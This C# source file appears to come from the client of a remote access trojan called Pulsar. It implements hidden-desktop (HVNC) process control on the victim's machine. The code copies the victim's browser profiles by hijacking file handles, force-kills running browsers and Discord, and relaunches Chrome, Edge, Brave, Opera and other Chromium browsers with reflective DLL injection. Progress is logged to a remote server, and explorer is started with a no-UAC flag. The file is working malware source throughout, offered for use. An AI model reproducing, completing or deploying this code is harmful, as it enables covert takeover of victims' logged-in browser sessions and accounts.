870 lines
34 KiB
C#
870 lines
34 KiB
C#
using Microsoft.Win32;
|
||
using Pulsar.Client.Helper.HVNC.Chromium;
|
||
using Pulsar.Client.LoggingAPI;
|
||
using System;
|
||
using System.Diagnostics;
|
||
using System.IO;
|
||
using System.Runtime.InteropServices;
|
||
using System.Threading;
|
||
using System.Threading.Tasks;
|
||
|
||
namespace Pulsar.Client.Helper.HVNC
|
||
{
|
||
public class ProcessController
|
||
{
|
||
public ProcessController(string DesktopName)
|
||
{
|
||
this.DesktopName = DesktopName;
|
||
}
|
||
|
||
[DllImport("kernel32.dll")]
|
||
private static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, int dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, ref PROCESS_INFORMATION lpProcessInformation);
|
||
|
||
[DllImport("kernel32.dll", SetLastError = true)]
|
||
private static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
|
||
|
||
[DllImport("kernel32.dll", SetLastError = true)]
|
||
private static extern bool CloseHandle(IntPtr hObject);
|
||
|
||
private const uint WAIT_OBJECT_0 = 0x00000000;
|
||
private const uint WAIT_TIMEOUT = 0x00000102;
|
||
private const uint INFINITE = 0xFFFFFFFF;
|
||
private const int STARTF_USEPOSITION = 0x00000004;
|
||
|
||
private readonly struct CloneResult
|
||
{
|
||
public CloneResult(bool success, bool cancelled, string destination)
|
||
{
|
||
Success = success;
|
||
Cancelled = cancelled;
|
||
Destination = destination ?? string.Empty;
|
||
}
|
||
|
||
public bool Success { get; }
|
||
|
||
public bool Cancelled { get; }
|
||
|
||
public string Destination { get; }
|
||
}
|
||
|
||
private static bool DeleteFolder(string folderPath)
|
||
{
|
||
bool result;
|
||
try
|
||
{
|
||
if (Directory.Exists(folderPath))
|
||
{
|
||
Directory.Delete(folderPath, true);
|
||
result = true;
|
||
}
|
||
else
|
||
{
|
||
Debug.WriteLine("Folder does not exist.");
|
||
result = false;
|
||
}
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
Debug.WriteLine("Error deleting folder: " + ex.Message);
|
||
result = false;
|
||
}
|
||
return result;
|
||
}
|
||
|
||
private void CleanupCancelledClone(string destinationDir)
|
||
{
|
||
if (string.IsNullOrWhiteSpace(destinationDir))
|
||
{
|
||
return;
|
||
}
|
||
|
||
try
|
||
{
|
||
if (Directory.Exists(destinationDir))
|
||
{
|
||
Debug.WriteLine($"[BrowserClone] Cleaning up cancelled clone at '{destinationDir}'");
|
||
DeleteFolder(destinationDir);
|
||
}
|
||
}
|
||
catch (Exception cleanupEx)
|
||
{
|
||
Debug.WriteLine($"[BrowserClone] Cleanup failed for '{destinationDir}': {cleanupEx.Message}");
|
||
}
|
||
}
|
||
|
||
public void StartCmd()
|
||
{
|
||
string path = "conhost cmd.exe";
|
||
this.CreateProc(path);
|
||
}
|
||
|
||
public void StartPowershell()
|
||
{
|
||
string path = "conhost powershell.exe";
|
||
this.CreateProc(path);
|
||
}
|
||
|
||
public void StartGeneric(string path)
|
||
{
|
||
string command = "conhost " + path;
|
||
this.CreateProc(command);
|
||
}
|
||
|
||
public async Task StartFirefoxAsync()
|
||
{
|
||
BrowserCloneProgressSession progressSession = null;
|
||
Task completionTask = Task.CompletedTask;
|
||
bool cloneSucceeded = false;
|
||
bool cloneCancelled = false;
|
||
|
||
try
|
||
{
|
||
string basePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Mozilla", "Firefox");
|
||
|
||
if (!Directory.Exists(basePath))
|
||
{
|
||
Debug.WriteLine("Firefox base directory not found.");
|
||
return;
|
||
}
|
||
|
||
string sourceDir = Path.Combine(basePath, "Profiles");
|
||
if (!Directory.Exists(sourceDir))
|
||
{
|
||
Debug.WriteLine("Firefox profiles directory not found.");
|
||
return;
|
||
}
|
||
|
||
string destination = Path.Combine(basePath, "fudasf");
|
||
if (Directory.Exists(destination))
|
||
{
|
||
DeleteFolder(destination);
|
||
}
|
||
|
||
progressSession = await BrowserCloneProgressSession.TryCreateAsync("Firefox").ConfigureAwait(false);
|
||
progressSession?.ReportPreparing();
|
||
|
||
CancellationToken cancellationToken = progressSession?.CancellationToken ?? CancellationToken.None;
|
||
|
||
try
|
||
{
|
||
cloneSucceeded = await Task.Run(() => HandleHijacker.ForceCopyDirectory(sourceDir, destination, killIfFailed: false, progressSession?.Progress, cancellationToken)).ConfigureAwait(false);
|
||
}
|
||
catch (OperationCanceledException)
|
||
{
|
||
cloneCancelled = true;
|
||
CleanupCancelledClone(destination);
|
||
}
|
||
|
||
if (cloneCancelled)
|
||
{
|
||
Debug.WriteLine("Firefox profile cloning cancelled by user – skipping launch.");
|
||
}
|
||
else if (cloneSucceeded)
|
||
{
|
||
Debug.WriteLine("Firefox profile cloned successfully.");
|
||
}
|
||
else
|
||
{
|
||
Debug.WriteLine("Firefox profile cloning reported partial success; some files may be locked.");
|
||
}
|
||
|
||
bool completedSuccessfully = cloneSucceeded && !cloneCancelled;
|
||
completionTask = progressSession?.ReportCompletionAsync(completedSuccessfully) ?? Task.CompletedTask;
|
||
|
||
if (cloneCancelled)
|
||
{
|
||
return;
|
||
}
|
||
|
||
string startCommand = $"Conhost --headless cmd.exe /c start firefox --profile=\"{destination}\"";
|
||
CreateProc(startCommand);
|
||
}
|
||
catch (OperationCanceledException)
|
||
{
|
||
completionTask = progressSession?.ReportCompletionAsync(false) ?? Task.CompletedTask;
|
||
cloneCancelled = true;
|
||
Debug.WriteLine("Firefox profile cloning cancelled by user.");
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
completionTask = progressSession?.ReportCompletionAsync(false) ?? Task.CompletedTask;
|
||
Debug.WriteLine("Error starting Firefox: " + ex.Message);
|
||
}
|
||
finally
|
||
{
|
||
await completionTask.ConfigureAwait(false);
|
||
progressSession?.Dispose();
|
||
}
|
||
}
|
||
|
||
public async Task StartBraveAsync(byte[] dllbytes)
|
||
{
|
||
try
|
||
{
|
||
var braveConfig = BrowserConfiguration.GetConfig("Brave");
|
||
if (braveConfig == null || !BrowserConfiguration.ValidateConfig(braveConfig))
|
||
{
|
||
Debug.WriteLine("Brave executable not found.");
|
||
return;
|
||
}
|
||
|
||
Debug.WriteLine($"Found Brave at: {braveConfig.ExecutablePath}");
|
||
|
||
var cloneResult = await CloneBrowserProfileAsync(braveConfig.SearchPattern, braveConfig.ReplacementPath, "Brave").ConfigureAwait(false);
|
||
if (cloneResult.Cancelled)
|
||
{
|
||
Debug.WriteLine("Brave profile cloning cancelled by user – skipping injection.");
|
||
return;
|
||
}
|
||
|
||
try
|
||
{
|
||
await Task.Run(() => KDOTInjector.Start(dllbytes, braveConfig.ExecutablePath, braveConfig.SearchPattern, braveConfig.ReplacementPath)).ConfigureAwait(false);
|
||
Debug.WriteLine("Brave started successfully with reflective DLL injection.");
|
||
}
|
||
catch (Exception injectionEx)
|
||
{
|
||
Debug.WriteLine($"Error during Brave DLL injection: {injectionEx.Message}");
|
||
}
|
||
}
|
||
catch (OperationCanceledException)
|
||
{
|
||
Debug.WriteLine("Brave profile cloning cancelled by user.");
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
Debug.WriteLine("Error starting Brave: " + ex.Message);
|
||
}
|
||
}
|
||
|
||
public async Task StartOperaAsync(byte[] dllbytes)
|
||
{
|
||
try
|
||
{
|
||
var operaConfig = BrowserConfiguration.GetConfig("Opera");
|
||
if (operaConfig == null || !BrowserConfiguration.ValidateConfig(operaConfig))
|
||
{
|
||
Debug.WriteLine("Opera executable not found.");
|
||
return;
|
||
}
|
||
|
||
Debug.WriteLine($"Found Opera at: {operaConfig.ExecutablePath}");
|
||
|
||
var cloneResult = await CloneBrowserProfileAsync(operaConfig.SearchPattern, operaConfig.ReplacementPath, "Opera").ConfigureAwait(false);
|
||
if (cloneResult.Cancelled)
|
||
{
|
||
Debug.WriteLine("Opera profile cloning cancelled by user – skipping injection.");
|
||
return;
|
||
}
|
||
|
||
try
|
||
{
|
||
int processId = await Task.Run(() => KDOTInjector.Start(dllbytes, operaConfig.ExecutablePath, operaConfig.SearchPattern, operaConfig.ReplacementPath)).ConfigureAwait(false);
|
||
if (processId > 0)
|
||
{
|
||
Debug.WriteLine("Opera started successfully with reflective DLL injection.");
|
||
|
||
await Task.Delay(2000).ConfigureAwait(false);
|
||
_ = Task.Run(async () =>
|
||
{
|
||
try
|
||
{
|
||
await OperaPatcher.PatchOperaAsync(maxRetries: 5, delayBetweenRetries: 1000).ConfigureAwait(false);
|
||
}
|
||
catch (Exception patchEx)
|
||
{
|
||
Debug.WriteLine($"Opera patcher error: {patchEx.Message}");
|
||
}
|
||
});
|
||
}
|
||
else
|
||
{
|
||
Debug.WriteLine("Failed to start Opera process.");
|
||
}
|
||
}
|
||
catch (Exception injectionEx)
|
||
{
|
||
Debug.WriteLine($"Error during Opera DLL injection: {injectionEx.Message}");
|
||
}
|
||
}
|
||
catch (OperationCanceledException)
|
||
{
|
||
Debug.WriteLine("Opera profile cloning cancelled by user.");
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
Debug.WriteLine("Error starting Opera: " + ex.Message);
|
||
}
|
||
}
|
||
|
||
public async Task StartOperaGXAsync(byte[] dllbytes)
|
||
{
|
||
try
|
||
{
|
||
var operaGXConfig = BrowserConfiguration.GetConfig("OperaGX");
|
||
if (operaGXConfig == null || !BrowserConfiguration.ValidateConfig(operaGXConfig))
|
||
{
|
||
Debug.WriteLine("OperaGX executable not found.");
|
||
return;
|
||
}
|
||
|
||
Debug.WriteLine($"Found OperaGX at: {operaGXConfig.ExecutablePath}");
|
||
|
||
var cloneResult = await CloneBrowserProfileAsync(operaGXConfig.SearchPattern, operaGXConfig.ReplacementPath, "Opera GX").ConfigureAwait(false);
|
||
if (cloneResult.Cancelled)
|
||
{
|
||
Debug.WriteLine("OperaGX profile cloning cancelled by user – skipping injection.");
|
||
return;
|
||
}
|
||
|
||
try
|
||
{
|
||
int processId = await Task.Run(() => KDOTInjector.Start(dllbytes, operaGXConfig.ExecutablePath, operaGXConfig.SearchPattern, operaGXConfig.ReplacementPath)).ConfigureAwait(false);
|
||
if (processId > 0)
|
||
{
|
||
Debug.WriteLine("OperaGX started successfully with reflective DLL injection.");
|
||
|
||
await Task.Delay(2000).ConfigureAwait(false);
|
||
_ = Task.Run(async () =>
|
||
{
|
||
try
|
||
{
|
||
await OperaPatcher.PatchOperaAsync(maxRetries: 5, delayBetweenRetries: 1000).ConfigureAwait(false);
|
||
}
|
||
catch (Exception patchEx)
|
||
{
|
||
Debug.WriteLine($"OperaGX patcher error: {patchEx.Message}");
|
||
}
|
||
});
|
||
}
|
||
else
|
||
{
|
||
Debug.WriteLine("Failed to start OperaGX process.");
|
||
}
|
||
}
|
||
catch (Exception injectionEx)
|
||
{
|
||
Debug.WriteLine($"Error during OperaGX DLL injection: {injectionEx.Message}");
|
||
}
|
||
}
|
||
catch (OperationCanceledException)
|
||
{
|
||
Debug.WriteLine("OperaGX profile cloning cancelled by user.");
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
Debug.WriteLine("Error starting OperaGX: " + ex.Message);
|
||
}
|
||
}
|
||
|
||
public async Task StartEdgeAsync(byte[] dllbytes)
|
||
{
|
||
try
|
||
{
|
||
var edgeConfig = BrowserConfiguration.GetConfig("Edge");
|
||
if (edgeConfig == null || !BrowserConfiguration.ValidateConfig(edgeConfig))
|
||
{
|
||
Debug.WriteLine("Edge executable not found.");
|
||
return;
|
||
}
|
||
|
||
Debug.WriteLine($"Found Edge at: {edgeConfig.ExecutablePath}");
|
||
|
||
var cloneResult = await CloneBrowserProfileAsync(edgeConfig.SearchPattern, edgeConfig.ReplacementPath, "Edge").ConfigureAwait(false);
|
||
if (cloneResult.Cancelled)
|
||
{
|
||
Debug.WriteLine("Edge profile cloning cancelled by user – skipping injection.");
|
||
return;
|
||
}
|
||
|
||
try
|
||
{
|
||
await Task.Run(() => KDOTInjector.Start(dllbytes, edgeConfig.ExecutablePath, edgeConfig.SearchPattern, edgeConfig.ReplacementPath)).ConfigureAwait(false);
|
||
Debug.WriteLine("Edge started successfully with reflective DLL injection.");
|
||
}
|
||
catch (Exception injectionEx)
|
||
{
|
||
Debug.WriteLine($"Error during Edge DLL injection: {injectionEx.Message}");
|
||
}
|
||
}
|
||
catch (OperationCanceledException)
|
||
{
|
||
Debug.WriteLine("Edge profile cloning cancelled by user.");
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
Debug.WriteLine("Error starting Edge: " + ex.Message);
|
||
}
|
||
}
|
||
|
||
public async Task StartChromeAsync(byte[] dllbytes)
|
||
{
|
||
try
|
||
{
|
||
var chromeConfig = BrowserConfiguration.GetChromeConfig();
|
||
if (chromeConfig == null)
|
||
{
|
||
UniversalDebugLogger.SendLogToServer("Chrome executable not found.");
|
||
return;
|
||
}
|
||
|
||
UniversalDebugLogger.SendLogToServer($"Found Chrome at: {chromeConfig.ExecutablePath}");
|
||
|
||
var cloneResult = await CloneBrowserProfileAsync(chromeConfig.SearchPattern, chromeConfig.ReplacementPath, "Chrome").ConfigureAwait(false);
|
||
if (cloneResult.Cancelled)
|
||
{
|
||
UniversalDebugLogger.SendLogToServer("Chrome profile cloning cancelled by user – skipping injection.");
|
||
return;
|
||
}
|
||
|
||
try
|
||
{
|
||
await Task.Run(() => KDOTInjector.Start(dllbytes, chromeConfig.ExecutablePath, chromeConfig.SearchPattern, chromeConfig.ReplacementPath)).ConfigureAwait(false);
|
||
UniversalDebugLogger.SendLogToServer("Chrome started successfully with reflective DLL injection.");
|
||
}
|
||
catch (Exception injectionEx)
|
||
{
|
||
UniversalDebugLogger.SendLogToServer($"Error during DLL injection: {injectionEx.Message}");
|
||
}
|
||
}
|
||
catch (OperationCanceledException)
|
||
{
|
||
UniversalDebugLogger.SendLogToServer("Chrome profile cloning cancelled by user.");
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
UniversalDebugLogger.SendLogToServer("Error starting Chrome: " + ex.Message);
|
||
}
|
||
}
|
||
|
||
[DllImport("kernel32.dll", SetLastError = true)]
|
||
private static extern uint ResumeThread(IntPtr hThread);
|
||
|
||
/// <summary>
|
||
/// Generic method to start any browser by type with reflective DLL injection.
|
||
/// </summary>
|
||
/// <param name="browserType">Type of browser (Chrome, Edge, Brave, Opera, OperaGX)</param>
|
||
/// <param name="dllbytes">DLL bytes to inject</param>
|
||
public async Task StartBrowserAsync(string browserType, byte[] dllbytes)
|
||
{
|
||
try
|
||
{
|
||
if (browserType.Equals("Chrome", StringComparison.OrdinalIgnoreCase))
|
||
{
|
||
await StartChromeAsync(dllbytes).ConfigureAwait(false);
|
||
return;
|
||
}
|
||
|
||
var config = BrowserConfiguration.GetConfig(browserType);
|
||
if (config == null || !BrowserConfiguration.ValidateConfig(config))
|
||
{
|
||
Debug.WriteLine($"{browserType} executable not found.");
|
||
return;
|
||
}
|
||
|
||
Debug.WriteLine($"Found {browserType} at: {config.ExecutablePath}");
|
||
|
||
string processName = Path.GetFileNameWithoutExtension(config.ExecutablePath).ToLower();
|
||
string killCommand = $"Conhost --headless cmd.exe /c taskkill /IM {processName}.exe /F";
|
||
|
||
STARTUPINFO startupInfo = default(STARTUPINFO);
|
||
startupInfo.cb = Marshal.SizeOf<STARTUPINFO>(startupInfo);
|
||
startupInfo.lpDesktop = this.DesktopName;
|
||
startupInfo.dwX = 0;
|
||
startupInfo.dwY = 0;
|
||
startupInfo.dwFlags = STARTF_USEPOSITION;
|
||
PROCESS_INFORMATION processInfo = default(PROCESS_INFORMATION);
|
||
|
||
if (CreateProcess(null, killCommand, IntPtr.Zero, IntPtr.Zero, false, 48, IntPtr.Zero, null, ref startupInfo, ref processInfo))
|
||
{
|
||
Debug.WriteLine($"Waiting for {browserType} processes to terminate...");
|
||
WaitForProcessCompletion(processInfo, 5000);
|
||
}
|
||
else
|
||
{
|
||
Debug.WriteLine("Failed to create taskkill process, using fallback delay.");
|
||
await Task.Delay(500).ConfigureAwait(false);
|
||
}
|
||
|
||
var cloneResult = await CloneBrowserProfileAsync(config.SearchPattern, config.ReplacementPath, browserType).ConfigureAwait(false);
|
||
if (cloneResult.Cancelled)
|
||
{
|
||
Debug.WriteLine($"{browserType} profile cloning cancelled by user – skipping injection.");
|
||
return;
|
||
}
|
||
|
||
try
|
||
{
|
||
int processId = await Task.Run(() => KDOTInjector.Start(dllbytes, config.ExecutablePath, config.SearchPattern, config.ReplacementPath)).ConfigureAwait(false);
|
||
if (processId > 0)
|
||
{
|
||
Debug.WriteLine($"{browserType} started successfully with reflective DLL injection.");
|
||
|
||
if (browserType.Equals("Opera", StringComparison.OrdinalIgnoreCase) ||
|
||
browserType.Equals("OperaGX", StringComparison.OrdinalIgnoreCase))
|
||
{
|
||
await Task.Delay(2000).ConfigureAwait(false);
|
||
_ = Task.Run(async () =>
|
||
{
|
||
try
|
||
{
|
||
await OperaPatcher.PatchOperaAsync(maxRetries: 5, delayBetweenRetries: 1000).ConfigureAwait(false);
|
||
}
|
||
catch (Exception patchEx)
|
||
{
|
||
Debug.WriteLine($"{browserType} patcher error: {patchEx.Message}");
|
||
}
|
||
});
|
||
}
|
||
}
|
||
else
|
||
{
|
||
Debug.WriteLine($"Failed to start {browserType} process.");
|
||
}
|
||
}
|
||
catch (Exception injectionEx)
|
||
{
|
||
Debug.WriteLine($"Error during {browserType} DLL injection: {injectionEx.Message}");
|
||
}
|
||
}
|
||
catch (OperationCanceledException)
|
||
{
|
||
Debug.WriteLine($"{browserType} profile cloning cancelled by user.");
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
Debug.WriteLine($"Error starting {browserType}: {ex.Message}");
|
||
}
|
||
}
|
||
|
||
public bool CreateProc(string filePath)
|
||
{
|
||
STARTUPINFO structure = default(STARTUPINFO);
|
||
structure.cb = Marshal.SizeOf<STARTUPINFO>(structure);
|
||
structure.lpDesktop = this.DesktopName;
|
||
// try setting position to 0,0
|
||
structure.dwX = 0;
|
||
structure.dwY = 0;
|
||
structure.dwFlags = STARTF_USEPOSITION;
|
||
PROCESS_INFORMATION process_INFORMATION = default(PROCESS_INFORMATION);
|
||
return CreateProcess(null, filePath, IntPtr.Zero, IntPtr.Zero, false, 48, IntPtr.Zero, null, ref structure, ref process_INFORMATION);
|
||
}
|
||
|
||
public void StartDiscord()
|
||
{
|
||
string discordPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Discord\\Update.exe";
|
||
if (!File.Exists(discordPath)) return;
|
||
|
||
string killCommand = "Conhost --headless cmd.exe /c taskkill /IM discord.exe /F";
|
||
this.CreateProc(killCommand);
|
||
Thread.Sleep(1000);
|
||
string startCommand = "\"" + discordPath + "\" --processStart Discord.exe";
|
||
this.CreateProc(startCommand);
|
||
}
|
||
|
||
public void StartExplorer()
|
||
{
|
||
uint num = 2U;
|
||
string name = "TaskbarGlomLevel";
|
||
string name2 = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced";
|
||
using (RegistryKey registryKey = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(name2, true))
|
||
{
|
||
if (registryKey != null)
|
||
{
|
||
object value = registryKey.GetValue(name);
|
||
if (value is uint)
|
||
{
|
||
uint num2 = (uint)value;
|
||
if (num2 != num)
|
||
{
|
||
registryKey.SetValue(name, num, RegistryValueKind.DWord);
|
||
}
|
||
}
|
||
}
|
||
}
|
||
string explorerPath = Environment.GetFolderPath(Environment.SpecialFolder.Windows) + "\\explorer.exe /NoUACCheck";
|
||
this.CreateProc(explorerPath);
|
||
}
|
||
|
||
/// <summary>
|
||
/// Clones browser profile from SearchPattern to ReplacementPath.
|
||
/// Executes on a background thread to avoid blocking message processing.
|
||
/// </summary>
|
||
/// <param name="searchPattern">Relative path pattern (e.g., "Local\Google\Chrome\User Data")</param>
|
||
/// <param name="replacementPath">Relative path for destination (e.g., "Local\Google\Chrome\KDOT")</param>
|
||
private async Task<CloneResult> CloneBrowserProfileAsync(string searchPattern, string replacementPath, string browserName = null)
|
||
{
|
||
BrowserCloneProgressSession progressSession = null;
|
||
Task completionTask = Task.CompletedTask;
|
||
CloneResult cloneResult = default;
|
||
|
||
try
|
||
{
|
||
progressSession = await BrowserCloneProgressSession.TryCreateAsync(browserName).ConfigureAwait(false);
|
||
progressSession?.ReportPreparing();
|
||
|
||
CancellationToken cancellationToken = progressSession?.CancellationToken ?? CancellationToken.None;
|
||
|
||
cloneResult = await Task.Run(() => CloneBrowserProfileInternal(
|
||
searchPattern,
|
||
replacementPath,
|
||
cancellationToken,
|
||
progressSession?.Progress)).ConfigureAwait(false);
|
||
|
||
bool completedSuccessfully = cloneResult.Success && !cloneResult.Cancelled;
|
||
completionTask = progressSession?.ReportCompletionAsync(completedSuccessfully) ?? Task.CompletedTask;
|
||
|
||
return cloneResult;
|
||
}
|
||
catch
|
||
{
|
||
completionTask = progressSession?.ReportCompletionAsync(false) ?? Task.CompletedTask;
|
||
throw;
|
||
}
|
||
finally
|
||
{
|
||
await completionTask.ConfigureAwait(false);
|
||
progressSession?.Dispose();
|
||
}
|
||
}
|
||
|
||
private CloneResult CloneBrowserProfileInternal(
|
||
string searchPattern,
|
||
string replacementPath,
|
||
CancellationToken cancellationToken,
|
||
IProgress<BrowserCloneProgress> progress)
|
||
{
|
||
string localSearch = searchPattern;
|
||
string localReplacement = replacementPath;
|
||
|
||
string baseDir;
|
||
if (localSearch.StartsWith("Local\\", StringComparison.OrdinalIgnoreCase))
|
||
{
|
||
baseDir = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
|
||
localSearch = localSearch.Substring(6);
|
||
localReplacement = localReplacement.Substring(6);
|
||
}
|
||
else if (localSearch.StartsWith("Roaming\\", StringComparison.OrdinalIgnoreCase))
|
||
{
|
||
baseDir = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
|
||
localSearch = localSearch.Substring(8);
|
||
localReplacement = localReplacement.Substring(8);
|
||
}
|
||
else
|
||
{
|
||
Debug.WriteLine($"Invalid search pattern format: {localSearch}");
|
||
return new CloneResult(false, false, string.Empty);
|
||
}
|
||
|
||
string sourceDir = Path.Combine(baseDir, localSearch);
|
||
string destDir = Path.Combine(baseDir, localReplacement);
|
||
|
||
try
|
||
{
|
||
cancellationToken.ThrowIfCancellationRequested();
|
||
|
||
UniversalDebugLogger.SendLogToServer($"Cloning browser profile from '{sourceDir}' to '{destDir}'");
|
||
|
||
if (!Directory.Exists(sourceDir))
|
||
{
|
||
UniversalDebugLogger.SendLogToServer($"Source directory does not exist: {sourceDir}");
|
||
return new CloneResult(false, false, destDir);
|
||
}
|
||
|
||
if (Directory.Exists(destDir))
|
||
{
|
||
UniversalDebugLogger.SendLogToServer($"Removing existing destination directory: {destDir}");
|
||
DeleteFolder(destDir);
|
||
}
|
||
|
||
cancellationToken.ThrowIfCancellationRequested();
|
||
|
||
UniversalDebugLogger.SendLogToServer("[BrowserClone] Using handle hijacking for locked files...");
|
||
bool success = HandleHijacker.ForceCopyDirectory(
|
||
sourceDir,
|
||
destDir,
|
||
killIfFailed: false,
|
||
progress,
|
||
cancellationToken);
|
||
|
||
if (success)
|
||
{
|
||
UniversalDebugLogger.SendLogToServer("[BrowserClone] Browser profile cloned successfully with handle hijacking.");
|
||
}
|
||
else
|
||
{
|
||
UniversalDebugLogger.SendLogToServer("[BrowserClone] Handle hijacking partial success, some files may be skipped.");
|
||
}
|
||
|
||
return new CloneResult(success, false, destDir);
|
||
}
|
||
catch (OperationCanceledException)
|
||
{
|
||
UniversalDebugLogger.SendLogToServer("[BrowserClone] Operation cancelled by user.");
|
||
CleanupCancelledClone(destDir);
|
||
return new CloneResult(false, true, destDir);
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
UniversalDebugLogger.SendLogToServer($"Error cloning browser profile: {ex.Message}");
|
||
CleanupCancelledClone(destDir);
|
||
throw;
|
||
}
|
||
}
|
||
|
||
/// <summary>
|
||
/// Waits for a process to complete with a timeout
|
||
/// </summary>
|
||
/// <param name="processInfo">Process information structure</param>
|
||
/// <param name="timeoutMs">Timeout in milliseconds (default 5000ms)</param>
|
||
/// <returns>True if process completed within timeout, false otherwise</returns>
|
||
private bool WaitForProcessCompletion(PROCESS_INFORMATION processInfo, uint timeoutMs = 5000)
|
||
{
|
||
try
|
||
{
|
||
if (processInfo.hProcess == IntPtr.Zero)
|
||
return false;
|
||
|
||
uint result = WaitForSingleObject(processInfo.hProcess, timeoutMs);
|
||
|
||
CloseHandle(processInfo.hProcess);
|
||
CloseHandle(processInfo.hThread);
|
||
|
||
return result == WAIT_OBJECT_0;
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
Debug.WriteLine($"Error waiting for process: {ex.Message}");
|
||
return false;
|
||
}
|
||
}
|
||
|
||
public async Task StartGenericChromiumAsync(byte[] dllbytes, string browserPath, string searchPattern, string replacementPath)
|
||
{
|
||
try
|
||
{
|
||
if (string.IsNullOrWhiteSpace(browserPath) || !File.Exists(browserPath))
|
||
{
|
||
UniversalDebugLogger.SendLogToServer($"Generic Chromium browser executable not found at: {browserPath}");
|
||
return;
|
||
}
|
||
|
||
if (string.IsNullOrWhiteSpace(searchPattern) || string.IsNullOrWhiteSpace(replacementPath))
|
||
{
|
||
UniversalDebugLogger.SendLogToServer("Search pattern and replacement path are required for generic Chromium browser.");
|
||
return;
|
||
}
|
||
|
||
UniversalDebugLogger.SendLogToServer($"Starting Generic Chromium Browser: {browserPath}");
|
||
UniversalDebugLogger.SendLogToServer($"Search Pattern: {searchPattern}");
|
||
UniversalDebugLogger.SendLogToServer($"Replacement Path: {replacementPath}");
|
||
|
||
string processName = Path.GetFileNameWithoutExtension(browserPath);
|
||
string killCommand = $"Conhost --headless cmd.exe /c taskkill /IM {processName}.exe /F";
|
||
|
||
STARTUPINFO startupInfo = default(STARTUPINFO);
|
||
startupInfo.cb = Marshal.SizeOf<STARTUPINFO>(startupInfo);
|
||
startupInfo.lpDesktop = this.DesktopName;
|
||
startupInfo.dwX = 0;
|
||
startupInfo.dwY = 0;
|
||
startupInfo.dwFlags = STARTF_USEPOSITION;
|
||
PROCESS_INFORMATION processInfo = default(PROCESS_INFORMATION);
|
||
|
||
UniversalDebugLogger.SendLogToServer($"Killing any existing {processName}.exe processes...");
|
||
if (CreateProcess(null, killCommand, IntPtr.Zero, IntPtr.Zero, false, 48, IntPtr.Zero, null, ref startupInfo, ref processInfo))
|
||
{
|
||
UniversalDebugLogger.SendLogToServer($"Waiting for {processName}.exe processes to terminate...");
|
||
WaitForProcessCompletion(processInfo, 5000);
|
||
}
|
||
else
|
||
{
|
||
UniversalDebugLogger.SendLogToServer("Failed to create taskkill process, using fallback delay.");
|
||
await Task.Delay(500).ConfigureAwait(false);
|
||
}
|
||
|
||
string friendlyName = Path.GetFileNameWithoutExtension(browserPath);
|
||
if (string.IsNullOrWhiteSpace(friendlyName))
|
||
{
|
||
friendlyName = "Chromium";
|
||
}
|
||
|
||
var cloneResult = await CloneBrowserProfileAsync(searchPattern, replacementPath, friendlyName).ConfigureAwait(false);
|
||
if (cloneResult.Cancelled)
|
||
{
|
||
UniversalDebugLogger.SendLogToServer("Generic Chromium profile cloning cancelled by user – skipping injection.");
|
||
return;
|
||
}
|
||
|
||
try
|
||
{
|
||
await Task.Run(() => KDOTInjector.Start(dllbytes, browserPath, searchPattern, replacementPath)).ConfigureAwait(false);
|
||
UniversalDebugLogger.SendLogToServer($"Generic Chromium browser started successfully with reflective DLL injection.");
|
||
}
|
||
catch (Exception injectionEx)
|
||
{
|
||
UniversalDebugLogger.SendLogToServer($"Error during generic Chromium DLL injection: {injectionEx.Message}");
|
||
}
|
||
}
|
||
catch (OperationCanceledException)
|
||
{
|
||
UniversalDebugLogger.SendLogToServer("Generic Chromium profile cloning cancelled by user.");
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
UniversalDebugLogger.SendLogToServer($"Error starting generic Chromium browser: {ex.Message}");
|
||
}
|
||
}
|
||
|
||
private string DesktopName;
|
||
|
||
private struct STARTUPINFO
|
||
{
|
||
public int cb;
|
||
|
||
public string lpReserved;
|
||
|
||
public string lpDesktop;
|
||
|
||
public string lpTitle;
|
||
|
||
public int dwX;
|
||
|
||
public int dwY;
|
||
|
||
public int dwXSize;
|
||
|
||
public int dwYSize;
|
||
|
||
public int dwXCountChars;
|
||
|
||
public int dwYCountChars;
|
||
|
||
public int dwFillAttribute;
|
||
|
||
public int dwFlags;
|
||
|
||
public short wShowWindow;
|
||
|
||
public short cbReserved2;
|
||
|
||
public IntPtr lpReserved2;
|
||
|
||
public IntPtr hStdInput;
|
||
|
||
public IntPtr hStdOutput;
|
||
|
||
public IntPtr hStdError;
|
||
}
|
||
|
||
internal struct PROCESS_INFORMATION
|
||
{
|
||
public IntPtr hProcess;
|
||
|
||
public IntPtr hThread;
|
||
|
||
public int dwProcessId;
|
||
|
||
public int dwThreadId;
|
||
}
|
||
}
|
||
} |